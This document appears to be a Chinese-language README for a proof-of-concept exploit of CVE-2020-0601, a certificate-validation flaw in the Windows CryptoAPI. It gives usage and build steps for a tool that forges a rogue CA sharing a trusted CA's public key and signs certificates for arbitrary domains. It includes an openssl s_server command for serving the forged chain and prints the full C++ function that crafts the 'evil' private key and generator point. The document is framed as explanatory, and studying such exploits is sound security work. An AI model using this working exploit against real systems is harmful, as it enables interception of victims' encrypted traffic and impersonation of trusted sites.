此工具源代码旨在帮助理解 Windows Crypto API 中发现的 CVE-2020-0601 漏洞，请参阅 CERT 的概述。
该工具本身可用于为任意域名生成证书，该证书将由恶意证书颁发机构签名。此工具生成的恶意 CA 与命令行提供的公钥相同。
当易受攻击的 Windows 系统的网络浏览器访问此证书时，该证书将被视为受信任的证书。因此，位置合适的网络攻击者可以拦截受害者的流量。
启动工具并提供受信任 Windows 证书的路径：
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
在上例中，使用了 USERTrust ECC 认证机构 的证书，其公钥如下：
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
该工具将在其当前工作目录中保存多个证书和密钥：
test-cve_evil-ca.crt -- 恶意 CA
test-cve_evil-privkey.key -- 恶意 CA 的私钥（PEM 格式）
test-cve_evil-privkey-pk8.key -- 恶意 CA 的私钥（PKCS#8 格式）
test-cve_host-cert.crt -- 目标主机证书（默认 example.com）
test-cve_host-privkey.key -- 目标主机私钥（默认 example.com）
要测试证书，请按如下方式启动 openssl s_server，并将来自易受攻击 Windows 系统的 https://example.com/ 请求重定向至该服务器：
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
确保原始证书已被缓存！
结果应如下所示：
使用 cmake 生成构建此工具的 makefile。依赖库如下：
构建步骤：
mkdir build
cd build
cmake ..
make
全面的（相对）描述将在日后添加到 Gremwell 网站。
首先查看 main.cpp 文件。它调用了多个 OpenSSL 包装器，这些包装器虽然重要但与漏洞本身无关。最有趣的部分在 cve-2020-0601_poc.cpp 文件中：
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
这里的注释应该一目了然 :-)
感谢 kudelskisecurity 博客 及其引用的参考资料。